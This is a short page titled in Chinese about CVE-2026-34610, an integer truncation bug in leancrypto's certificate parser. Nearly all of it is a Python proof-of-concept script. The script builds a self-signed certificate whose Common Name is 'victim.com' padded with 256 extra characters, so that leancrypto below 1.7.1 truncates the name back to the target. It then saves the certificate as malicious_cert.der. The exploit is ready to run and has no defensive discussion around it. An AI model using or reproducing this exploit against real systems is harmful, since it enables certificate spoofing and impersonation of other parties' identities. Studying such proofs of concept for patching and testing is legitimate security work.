CVE-2026-34610: leancrypto证书解析整数截断漏洞

from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend import datetime # Generate a private key for the attacker private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) # Target CN (e.g., "victim.com") target_cn = "victim.com" n = len(target_cn) # Calculate padding to trigger the integer truncation # The vulnerable code does: cn_size = (uint8_t)(vlen) # We need vlen = N + 256, so (uint8_t)(N + 256) = N padding_length = 256 malicious_cn = target_cn + ("A" * padding_length) print(f"[+] Target CN Length: {n}") print(f"[+] Malicious CN Length: {len(malicious_cn)}") print(f"[+] Malicious CN Content: {malicious_cn[:30]}...{malicious_cn[-30:]}") # Create a self-signed certificate with the malicious CN subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"CA"), x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"My Company"), # Inject the crafted CN to exploit the truncation bug x509.NameAttribute(NameOID.COMMON_NAME, malicious_cn), ]) cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( private_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=365) ).sign(private_key, hashes.SHA256(), default_backend()) # Save the malicious certificate with open("malicious_cert.der", "wb") as f: f.write(cert.public_bytes(serialization.Encoding.DER)) print("[!] Generated malicious_cert.der. When parsed by leancrypto < 1.7.1, the CN will be truncated to 'victim.com'.")